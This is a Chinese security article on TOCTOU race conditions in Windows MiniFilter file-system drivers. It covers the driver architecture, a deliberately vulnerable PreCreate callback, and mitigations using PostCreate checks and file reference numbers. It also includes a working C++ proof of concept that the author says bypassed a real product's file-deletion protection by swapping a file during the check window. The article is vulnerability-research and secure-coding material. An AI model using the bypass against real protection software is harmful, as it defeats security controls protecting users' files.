第三方MiniFilter中常见的一种TOCTOU漏洞

admin 2026-05-22 02:43:45 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文分析了第三方WindowsMiniFilter驱动中存在的TOCTOU漏洞,详细阐述了MiniFilter架构与IRP传递机制,通过示例代码展示路径检查与使用间的时间窗口被并发操作利用的风险,建议采用原子操作或锁定机制防范此类竞态条件漏洞。 综合评分: 85 文章分类: 漏洞分析,代码审计,二进制安全,内网渗透,红队


cover_image

第三方MiniFilter中常见的一种TOCTOU漏洞

TurkeybraNC TurkeybraNC

看雪学苑

2026年5月20日 17:59 上海

在小说阅读器读本章

去阅读

TOCTOU作为一种广泛存在的漏洞类型,在第三方Windows MiniFilter中也存在,本文介绍一种典型的第三方MiniFilter TOCTOU漏洞。

#

01

MiniFilter 架构

为了了解为什么会有TOCTOU,我们需要一并介绍Windows MiniFilter的基础架构。

MiniFilter(文件系统微筛选器驱动)是微软推出的新一代文件系统过滤驱动模型,旨在解决传统文件系统过滤驱动(Legacy Filter Driver)开发复杂度高、维护困难、加载顺序难以控制等问题。MiniFilter 基于 Filter Manager(过滤器管理器,fltmgr.sys)驱动框架运行,借助系统提供的过滤器管理器支持,显著简化了过滤驱动的开发。

MiniFileter的各个部分

Filter Manager 的角色。Filter Manager(FltMgr.sys)是 Windows 系统提供的内核模式驱动,它实现了文件系统筛选驱动中普遍需要的通用功能,并将其暴露给 MiniFilter 驱动使用。Filter Manager 随 Windows 一同安装,但仅在 MiniFilter 驱动被加载时才会激活。它将自身绑定到目标卷的文件系统栈上,而 MiniFilter 驱动则通过向 Filter Manager 注册所需过滤的 I/O 操作类型,间接地绑定到文件系统栈。

MiniFilter 的实例与加载顺序。MiniFilter 在特定卷上以特定高度(Altitude)进行的绑定操作称为实例(Instance)。Altitude 是一个数值字符串,它决定了 MiniFilter 在文件系统 I/O 栈中的加载位置——Altitude 值越高,实例在栈中的位置越靠上。操作系统通过负载顺序组(Load Order Groups)和 Altitude 共同确定多个 MiniFilter 之间的附着顺序,Altitude 同时也决定了 Filter Manager 在 I/O 操作处理过程中调用各个 MiniFilter 的顺序。

I/O 操作过滤机制。MiniFilter 能够过滤三种类型的操作:基于 IRP 的 I/O 操作、快速 I/O 操作以及文件系统筛选器回调操作(FSFilter)。对于每种需要过滤的 I/O 操作,MiniFilter 可以注册一个“过滤前”(preoperation)回调函数、一个“过滤后”(postoperation)回调函数,或者两者同时注册。

Preoperation 回调函数类似于传统过滤驱动模型中的派发函数。当 Filter Manager 处理某个 I/O 操作时,它会按照 Altitude 从高到低的顺序,依次调用所有为该操作类型注册了 preoperation 回调函数的 MiniFilter 实例。每个 MiniFilter 可以在其 preoperation 回调中执行检查、修改 I/O 参数、完成 I/O 操作、挂起操作或将操作传递至下一层处理。当所有 MiniFilter 都处理完成后,Filter Manager 将 I/O 请求向下发送至传统过滤驱动和文件系统。

Postoperation 回调函数则类似于传统过滤驱动模型中的完成例程。当 I/O 操作完成并由 I/O 管理器向上返回时,Filter Manager 会按照 Altitude 从低到高的顺序,依次调用各个 MiniFilter 的 postoperation 回调函数。这种对称的设计使得每个 MiniFilter 能够在 I/O 操作到达文件系统之前和之后分别获得处理机会。

IRP在存在MiniFilter系统上的传递

我们可以先看一个图片,该图片展示了IRP的传递: 该图展示了用户态 I/O 请求(如CreateFileReadFileWriteFile)在经过 I/O 管理器、Filter Manager、不同 Altitude 的 MiniFilter、最终到达文件系统驱动,再原路返回的完整过程。图中特别强调了 MiniFilter 框架的两个核心回调:PreOperation(操作前)和PostOperation(操作后),以及它们按 Altitude 顺序调用的规则。

阶段 1:用户态发起 I/O 请求

  • 参与者

    用户态应用程序、I/O 管理器

  • 动作

    应用程序调用 Windows API(如CreateFile),I/O 管理器接收请求后生成对应的IRP(I/O Request Packet),并将该 IRP 发送到文件系统设备栈的栈顶

阶段 2:IRP 进入 Filter Manager(FltMgr.sys)

  • 参与者

    Filter Manager

  • 说明

    所有绑定到该卷的 MiniFilter 并不是直接挂载到文件系统栈上,而是统一向 Filter Manager 注册。因此,I/O 管理器实际将 IRP 发往 Filter Manager 的设备对象。Filter Manager 获得 IRP 后,开始负责调度 MiniFilter 的回调函数。

阶段 3:向下传递 —— PreOperation 回调(高 Altitude → 低 Altitude)

  • 顺序规则

    Filter Manager 按照 MiniFilter 实例的Altitude 值从高到低依次调用每个 MiniFilter 注册的PreOperation回调函数。

  • 图中的示例

    先调用MiniFilter(高 Altitude)的 PreOperation,再调用MiniFilter(低 Altitude)的 PreOperation。

  • 每个 MiniFilter 在 PreOperation 中可以有三种选择

    (图中通过alt分支表示):

FLT_PREOP_COMPLETE:该 MiniFilter 认为操作已完成,Filter Manager 不再继续向下传递 IRP,直接返回 I/O 管理器。最终结果返回给应用程序(图中左侧分支)。

FLT_PREOP_SUCCESS_NO_CALLBACK继续传递,且不需要对该 I/O 做 PostOperation 回调,Filter Manager 将 IRP 传给下一个 MiniFilter 或文件系统。

FLT_PREOP_SUCCESS_WITH_CALLBACK: 继续传递,但需要在完成时调用该 MiniFilter 的 PostOperation 回调。 同上,但 Filter Manager 会记录该 MiniFilter,在 IRP 返回时调用其 PostOperation。

阶段 4:IRP 发送至文件系统驱动

  • 参与者

    Filter Manager、文件系统驱动(如 NTFS、FAT)

  • 动作

    当所有 MiniFilter 的 PreOperation 都返回“继续向下”后,Filter Manager 将 IRP 发送给底层的文件系统驱动。

  • 文件系统处理

    文件系统执行真正的磁盘读写、元数据更新等操作,然后完成 IRP,并将状态返回给 Filter Manager。

阶段 5:向上返回 —— PostOperation 回调(低 Altitude → 高 Altitude)

  • 顺序规则

    Filter Manager 按照Altitude 值从低到高依次调用那些在 PreOperation 中要求回调的 MiniFilter 的PostOperation函数。

  • 图中的示例

    先调用MiniFilter(低 Altitude)的 PostOperation,再调用MiniFilter(高 Altitude)的 PostOperation。

  • PostOperation 的用途

    检查 I/O 操作的完成状态,修改返回数据,记录日志,清理上下文等。

阶段 6:返回用户态

  • 参与者

    Filter Manager、I/O 管理器、用户态应用程序

  • 动作

    Filter Manager 将最终完成状态返回给 I/O 管理器,I/O 管理器再将结果传递回用户态应用程序。此时一次完整的 I/O 请求结束。

02

TOCTOU漏洞示例驱动代码

以下是一个存在 TOCTOU 漏洞的简易 MiniFilter 驱动示例。相信有人会认为这是正确的,但,我们需要注意的是,文件操作在本质上是异步的,也就是说,我们不能保证执行流是线性的。

如果执行流不是线性的,那么,我们可以通过并发来修改同一个状态,也就是在检查通过后通过并发线程马上修改目标,使其指向受保护目标。

下面的代码展示了一个存在漏洞的 PreCreate 回调。

#include&nbsp;<fltKernel.h>

PFLT_FILTER g_FilterHandle =&nbsp;NULL;

FLT_PREOP_CALLBACK_STATUS
PreCreateCallback(
&nbsp; &nbsp; _Inout_ PFLT_CALLBACK_DATA Data,
&nbsp; &nbsp; _In_ PCFLT_RELATED_OBJECTS FltObjects,
&nbsp; &nbsp; _Flt_CompletionContext_Outptr_ PVOID *CompletionContext
)
{
&nbsp; &nbsp; PFLT_FILE_NAME_INFORMATION nameInfo =&nbsp;NULL;
&nbsp; &nbsp; NTSTATUS status;
&nbsp; &nbsp; BOOLEAN deny =&nbsp;FALSE;

&nbsp; &nbsp; status = FltGetFileNameInformation(Data,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;FLT_FILE_NAME_NORMALIZED |
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;FLT_FILE_NAME_QUERY_DEFAULT,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nameInfo);
if&nbsp;(NT_SUCCESS(status))
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; status = FltParseFileNameInformation(nameInfo);
if&nbsp;(NT_SUCCESS(status))
&nbsp; &nbsp; &nbsp; &nbsp; {

if&nbsp;(wcsstr(nameInfo->Name.Buffer, L"C:\\Protected\\target.txt") !=&nbsp;NULL)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; deny =&nbsp;TRUE;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; FltReleaseFileNameInformation(nameInfo);
&nbsp; &nbsp; }

if&nbsp;(deny)
&nbsp; &nbsp; {

&nbsp; &nbsp; &nbsp; &nbsp; Data->IoStatus.Status = STATUS_ACCESS_DENIED;
&nbsp; &nbsp; &nbsp; &nbsp; Data->IoStatus.Information =&nbsp;0;
return&nbsp;FLT_PREOP_COMPLETE;
&nbsp; &nbsp; }

return&nbsp;FLT_PREOP_SUCCESS_NO_CALLBACK;
}

const&nbsp;FLT_OPERATION_REGISTRATION Callbacks[] = {
&nbsp; &nbsp; { IRP_MJ_CREATE,
0,
&nbsp; &nbsp; &nbsp; PreCreateCallback,
NULL&nbsp;},
&nbsp; &nbsp; { IRP_MJ_OPERATION_END }
};

#

03

TOCTOU漏洞分析

上述示例代码展示了一个典型的Time-of-Check to Time-of-Use(TOCTOU)漏洞。该漏洞的核心原因在于:文件路径的检查时刻(T1)与实际文件打开/使用时刻(T2)之间存在一个时间窗口,攻击者能够利用并发操作在这个窗口内改变目标文件的身份,从而绕过安全检查。

漏洞原理

PreCreateCallback中,驱动首先调用FltGetFileNameInformation获取文件的路径,然后使用wcsstr判断路径中是否包含C:\Protected\target.txt。如果匹配,则返回STATUS_ACCESS_DENIED,阻止打开。

问题在于:FltGetFileNameInformation返回(T1)到文件系统真正打开并返回句柄(T2)之间,Windows 文件系统并不保证路径所指向的对象保持不变。攻击者可以在 T1 之后、T2 之前,通过另一个线程(或另一个进程)修改文件系统的命名空间。

由于 MiniFilter 的PreCreate回调只是整个 I/O 路径中的“观察者”,它无法原子化地锁定路径解析结果,因此上述竞态条件(race condition)是可能发生的。

异步与并发是根本原因

Windows I/O 系统本质上是一个异步、多线程、可抢占的环境。PreCreate回调运行在任意线程上下文中(通常是发起 I/O 的线程),而其他 CPU 核心或更高优先级的线程可以同时修改文件系统状态。检查与使用并非原子操作,因此竞态条件不可避免,除非驱动主动引入锁机制或利用系统提供的原子操作原语。

在 MiniFilter 框架中,Filter Manager 不会自动为路径解析过程加锁,因为这会严重影响并发性能,且容易导致死锁。因此,必须意识到:即使在内核模式,也不能假设两次查询之间文件状态不变

04

生产环境的TOCTOU

如图,是笔者在进行测试时发现的一个TOCTOU小问题,以下是对所给伪代码中 TOCTOU 漏洞的注释分析。

__int64 __fastcall&nbsp;VulFltCallback(PFLT_CALLBACK_DATA CallbackData, __int64 a2,&nbsp;unsigned&nbsp;__int64 a3){
// 第一次获取文件名信息(检查时刻 T1)
&nbsp; v25 =&nbsp;FltGetFileNameInformation(CallbackData, v24, &FileNameInformation);
// ... 错误处理 ...
&nbsp; v3 = (unsigned&nbsp;__int16 *)sub_1400516F0(CallbackData->Iopb->TargetFileObject, FileNameInformation, &v55, &v56);
// v3 中保存了规范化后的文件名信息(可能已解析符号链接)
// 漏洞点:获取文件名后释放了 FileNameInformation,但 v3 仍被使用。
// 从此刻(T1)到实际使用 v3 进行决策之间,文件可以被重命名或符号链接目标可被修改。
}

如图,笔者利用以下代码绕过了该软件的自定义文件保护。

#include&nbsp;<windows.h>
#include&nbsp;<iostream>
#include&nbsp;<thread>
#include&nbsp;<chrono>

constwchar_t* LEGACY_PATH =&nbsp;L"C:\\Users\\lenovo\\Downloads\\a\\temp.txt";
constwchar_t* PROTECTED_PATH =&nbsp;L"C:\\Protected\\target.txt";
constwchar_t* PROTECTED_DIR =&nbsp;L"C:\\Protected";

DWORD WINAPI&nbsp;MoveThread(LPVOID)&nbsp;{
//Maybe more accurate sync measures
//but Sleep(100) is enough
Sleep(100);
//MoveFileEx will succeed once no exclusive lock
if&nbsp;(!MoveFileEx(LEGACY_PATH, PROTECTED_PATH, MOVEFILE_REPLACE_EXISTING)) {
&nbsp; &nbsp; &nbsp; &nbsp; std::cerr <<&nbsp;"移动文件失败,错误码: "&nbsp;<<&nbsp;GetLastError() << std::endl;
&nbsp; &nbsp; }
else&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; std::cout <<&nbsp;"[*] 文件已移动到受保护目录"&nbsp;<< std::endl;
&nbsp; &nbsp; }
return&nbsp;0;
}

intmain()&nbsp;{
CreateDirectory(L"C:\\Users\\lenovo\\Downloads\\a",&nbsp;NULL);

&nbsp; &nbsp; HANDLE hFile =&nbsp;CreateFile(LEGACY_PATH, GENERIC_WRITE,&nbsp;0,&nbsp;NULL,
&nbsp; &nbsp; &nbsp; &nbsp; CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL,&nbsp;NULL);
if&nbsp;(hFile == INVALID_HANDLE_VALUE) {
&nbsp; &nbsp; &nbsp; &nbsp; std::cerr <<&nbsp;"创建临时文件失败"&nbsp;<< std::endl;
return&nbsp;1;
&nbsp; &nbsp; }
CloseHandle(hFile);
&nbsp; &nbsp; std::cout <<&nbsp;"[+] 临时文件已创建: "&nbsp;<< LEGACY_PATH << std::endl;

&nbsp; &nbsp; HANDLE hTarget =&nbsp;CreateFile(LEGACY_PATH,
&nbsp; &nbsp; &nbsp; &nbsp; DELETE | FILE_READ_ATTRIBUTES,
&nbsp; &nbsp; &nbsp; &nbsp; FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
NULL,
&nbsp; &nbsp; &nbsp; &nbsp; OPEN_EXISTING,
&nbsp; &nbsp; &nbsp; &nbsp; FILE_FLAG_BACKUP_SEMANTICS,
NULL);
if&nbsp;(hTarget == INVALID_HANDLE_VALUE) {
&nbsp; &nbsp; &nbsp; &nbsp; std::cerr <<&nbsp;"打开文件失败,错误码: "&nbsp;<<&nbsp;GetLastError() << std::endl;
&nbsp; &nbsp; }
&nbsp; &nbsp; std::cout <<&nbsp;"[+] 已获取文件句柄(Minifilter 检查通过)"&nbsp;<< std::endl;

&nbsp; &nbsp; HANDLE hMoveThread =&nbsp;CreateThread(NULL,&nbsp;0, MoveThread,&nbsp;NULL,&nbsp;0,&nbsp;NULL);
WaitForSingleObject(hMoveThread, INFINITE);
&nbsp; &nbsp; FILE_DISPOSITION_INFO disp = { TRUE };
if&nbsp;(SetFileInformationByHandle(hTarget, FileDispositionInfo, &disp,&nbsp;sizeof(disp))) {
&nbsp; &nbsp; &nbsp; &nbsp; std::cout <<&nbsp;"[!] 成功删除受保护文件: "&nbsp;<< PROTECTED_PATH << std::endl;
&nbsp; &nbsp; &nbsp; &nbsp; std::cout <<&nbsp;"[*] TOCTOU 攻击生效,绕过了 Minifilter 的删除保护"&nbsp;<< std::endl;
&nbsp; &nbsp; }
else&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; std::cerr <<&nbsp;"删除失败,错误码: "&nbsp;<<&nbsp;GetLastError() << std::endl;
&nbsp; &nbsp; }

CloseHandle(hTarget);
getchar();
return&nbsp;0;
}

05

修复建议

在 PostCreate 回调中执行最终检查

原理:将路径检查延迟到文件已经打开之后PostCreate阶段),使用FLT_FILE_NAME_OPENED标志获取文件系统最终解析并打开的文件名,此时文件名已经不会受后续符号链接或重命名影响。若检查发现不应被打开,则立即关闭该文件句柄。

改进代码

// 注册时同时注册 PreCreate 和 PostCreate
const&nbsp;FLT_OPERATION_REGISTRATION Callbacks[] = {
&nbsp; &nbsp; { IRP_MJ_CREATE,
0,
&nbsp; &nbsp; &nbsp; PreCreateCallback, &nbsp;&nbsp;// 可做轻量级预过滤(如快速路径放行)
&nbsp; &nbsp; &nbsp; PostCreateCallback },&nbsp;// 真正决策放在这里
&nbsp; &nbsp; { IRP_MJ_OPERATION_END }
};

// PostCreate 回调:检查实际打开的文件
FLT_POSTOP_CALLBACK_STATUS
PostCreateCallback(
&nbsp; &nbsp; _Inout_ PFLT_CALLBACK_DATA Data,
&nbsp; &nbsp; _In_ PCFLT_RELATED_OBJECTS FltObjects,
&nbsp; &nbsp; _In_opt_ PVOID CompletionContext,
&nbsp; &nbsp; _In_ FLT_POST_OPERATION_FLAGS Flags
)
{
&nbsp; &nbsp; PFLT_FILE_NAME_INFORMATION nameInfo = NULL;
&nbsp; &nbsp; NTSTATUS status;

// 仅当文件成功打开时才检查
if&nbsp;(NT_SUCCESS(Data->IoStatus.Status))
&nbsp; &nbsp; {
// 关键:使用 FLT_FILE_NAME_OPENED 获取已打开文件的最终名称
&nbsp; &nbsp; &nbsp; &nbsp; status =&nbsp;FltGetFileNameInformation(Data,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;FLT_FILE_NAME_OPENED | &nbsp;&nbsp;// 已打开,已解析
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;FLT_FILE_NAME_NORMALIZED,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nameInfo);
if&nbsp;(NT_SUCCESS(status))
&nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; status =&nbsp;FltParseFileNameInformation(nameInfo);
if&nbsp;(NT_SUCCESS(status))
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {
// 检查最终路径是否为受保护文件
if&nbsp;(wcsstr(nameInfo->Name.Buffer, L"C:\\Protected\\target.txt") != NULL)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {
// 强制关闭已打开的文件句柄
FltCancelFileOpen(FltObjects->Instance, FltObjects->FileObject);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Data->IoStatus.Status = STATUS_ACCESS_DENIED;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Data->IoStatus.Information =&nbsp;0;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
FltReleaseFileNameInformation(nameInfo);
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }

return&nbsp;FLT_POSTOP_FINISHED_PROCESSING;
}

获取的文件名是文件系统已经锁定并打开的对象,攻击者无法在 T1~T2 窗口内改变。性能较好,仅在文件成功打开后做一次额外检查。

基于File Reference Number进行决策

原理:文件对象的唯一标识符(FileReferenceNumber)在文件生命周期内不会改变,即使文件被重命名、移动或修改路径,其 ID 保持不变。预先获取受保护文件的 ID,然后在PreCreatePostCreate中比较 ID 而非路径。

步骤

  • 驱动初始化时,打开C:\Protected\target.txt并获取其FileReferenceNumber,存储为安全数据库。
  • PreCreate中,获取目标文件的FileReferenceNumber(可使用FltGetFileNameInformation配合FltGetFileObject查询,或直接调用ZwQueryInformationFile获取FILE_INTERNAL_INFORMATION)。
  • 比较当前文件 ID 是否等于受保护 ID,若相等则拒绝。
// 在驱动初始化时获取受保护文件的 ID
LARGE_INTEGERg_ProtectedFileId&nbsp;=&nbsp;{0};

NTSTATUS&nbsp;GetProtectedFileId()
{
&nbsp; &nbsp; HANDLE hFile;
&nbsp; &nbsp; OBJECT_ATTRIBUTES oa;
&nbsp; &nbsp; IO_STATUS_BLOCK iosb;
UNICODE_STRINGpath&nbsp;=&nbsp;RTL_CONSTANT_STRING(L"\\??\\C:\\Protected\\target.txt");
&nbsp; &nbsp; InitializeObjectAttributes(&oa, &path, OBJ_KERNEL_HANDLE | OBJ_CASE_INSENSITIVE, NULL, NULL);
NTSTATUSstatus&nbsp;=&nbsp;ZwCreateFile(&hFile, FILE_READ_ATTRIBUTES, &oa, &iosb, NULL,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;FILE_ATTRIBUTE_NORMAL,&nbsp;0, FILE_OPEN,&nbsp;0, NULL,&nbsp;0);
if&nbsp;(NT_SUCCESS(status))
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; FILE_INTERNAL_INFORMATION info;
&nbsp; &nbsp; &nbsp; &nbsp; status = ZwQueryInformationFile(hFile, &iosb, &info, sizeof(info), FileInternalInformation);
if&nbsp;(NT_SUCCESS(status))
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; g_ProtectedFileId = info.IndexNumber;
&nbsp; &nbsp; &nbsp; &nbsp; ZwClose(hFile);
&nbsp; &nbsp; }
return&nbsp;status;
}

// PreCreate 中使用文件 ID 比较
FLT_PREOP_CALLBACK_STATUS&nbsp;PreCreateCallback(...)
{
PFILE_OBJECTfileObject&nbsp;=&nbsp;Data->Iopb->TargetFileObject;
// 获取当前文件对象的 ID(需要从文件系统获取,此处仅为示例)
LARGE_INTEGERcurrentId&nbsp;=&nbsp;GetFileIdFromFileObject(fileObject);
if&nbsp;(currentId.QuadPart !=&nbsp;0&nbsp;&& currentId.QuadPart == g_ProtectedFileId.QuadPart)
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; Data->IoStatus.Status = STATUS_ACCESS_DENIED;
return&nbsp;FLT_PREOP_COMPLETE;
&nbsp; &nbsp; }
return&nbsp;FLT_PREOP_SUCCESS_NO_CALLBACK;
}

文件 ID 在重命名、移动等操作后不变,从根本上避免路径 TOCTOU。检查原子性较高(ID 在一次调用中获取并比较)。

需要预先知道受保护文件的 ID(可在驱动加载时动态查询)。对于硬链接,所有链接共享同一个 ID,需注意策略一致性。

其他方案

使用FltGetFileNameInformationFLT_FILE_NAME_OPENED标志 + 同步检查,或者结合对象属性与句柄验证。

06

总结

MiniFilter 驱动中的 TOCTOU 漏洞源于路径检查与文件打开之间的竞态条件。典型错误是在PreCreate回调中使用FltGetFileNameInformation获取一次路径后直接决策,攻击者可利用符号链接、重命名等操作在检查(T1)与实际使用(T2)的时间窗口内改变文件身份,从而绕过安全策略。

开发安全过滤驱动时,务必假设文件系统状态是动态变化的,并采用原子化验证手段,避免依赖单次路径查询结果。

#

看雪ID:TurkeybraNC

https://bbs.kanxue.com/user-home-982720.htm

*本文为看雪论坛优秀文章,由 TurkeybraNC 原创,转载请注明来自看雪社区

第十届安全开发者峰会【议题征集】-欢迎投稿

往期推荐

安卓逆向基础知识之frida Hook

2025 强网杯和强网拟态部分题解

在逆向分析方面-unidbg真的适合 MCP 吗?

AI静态分析,内核模块隐藏 Frida 特征,绕过linker私有结构遍历崩溃链

某安全so库深度解析

球分享

球点赞

球在看

点击阅读原文查看更多


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:看雪学苑 TurkeybraNC TurkeybraNC《第三方MiniFilter中常见的一种TOCTOU漏洞》

评论:0   参与:  0